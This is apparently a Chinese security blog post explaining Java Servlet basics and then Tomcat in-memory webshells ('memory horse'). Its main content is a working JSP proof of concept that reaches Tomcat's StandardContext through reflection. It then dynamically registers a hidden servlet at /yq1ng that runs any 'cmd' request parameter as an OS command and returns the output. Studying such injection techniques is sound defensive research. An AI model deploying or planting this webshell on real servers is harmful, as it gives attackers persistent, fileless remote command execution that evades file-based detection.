Servlet内存马


Servlet 简单示例

Servlet 教程

注解法

常用的是继承自 HttpServlet

package com.yq1ng.Servlet;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

/**
 * @author ying
 * @Description
 * @create 2021-12-08 16:46
 */

@WebServlet("/TestServlet")
public class TestServlet extends HttpServlet {
    public void init() throws ServletException {
        System.out.println("TestServlet 正在初始化。。。");
        super.init();
    }

    public void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // 设置响应内容类型
        response.setContentType("text/html");
        // 实际的逻辑是在这里
        PrintWriter out = response.getWriter();
        out.println("<h1> TestServlet </h1>");
    }

    public void destroy(){
        System.out.println("TestServlet 已被销毁。。。");
        super.destroy();
    }
}

@WebServlet("/TestServlet")就是注解,省去了配置 web.xml 的麻烦,里面的字符串就是访问的路径
image.png

配置 web.xml

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>

<!--  配置servlet名字及对应class文件  -->
  <servlet>
    <servlet-name>TestServlet</servlet-name>
    <servlet-class>com.yq1ng.Servlet.TestServlet</servlet-class>
  </servlet>
<!--  配置servlet对应访问路径-->
  <servlet-mapping>
    <servlet-name>TestServlet</servlet-name>
    <url-pattern>/TestServlet</url-pattern>
  </servlet-mapping>
</web-app>

注意:web.xml 中配置与注解不能同时存在!否则 tomcat 无法启动
image.png

Servlet 动态注册流程

CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp 协议 任意文件读取/JSP 文件包含漏洞分析

先看org/apache/catalina/core/ApplicationContext.java#addServlet()
image.png
整个过程围绕着contextwrapper,而 context 是 StandardContext;wrapper 则是 tomcat 中管理 servlet 的
image.png
image.png
照着写

poc

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%--
  Created by IntelliJ IDEA.
  User: yq1ng
  Date: 2021/12/8
  Time: 22:08
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
<%
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }

        @Override
        public ServletConfig getServletConfig() {
            return null;
        }

        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd;
            try {
                cmd = servletRequest.getParameter("cmd");
                   if (cmd != null) {
                    InputStream inputStream = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
                    Scanner s = new Scanner(inputStream).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

        @Override
        public String getServletInfo() {
            return null;
        }

        @Override
        public void destroy() {

        }
    };
%>
<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request request1 = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext) request1.getContext();

    Wrapper wrapper = standardContext.createWrapper();
    String name = "yq1ng";
    wrapper.setName(name);
    wrapper.setLoadOnStartup(1);
    wrapper.setServlet(servlet);
    wrapper.setServletClass(servlet.getClass().getName());

    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/yq1ng", name);
	out.print("Inject Success !");
%>
</body>
</html>

image.png
image.png
由于 Servlet 名字唯一性,再次访问恶意 jsp 会报错
image.png


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录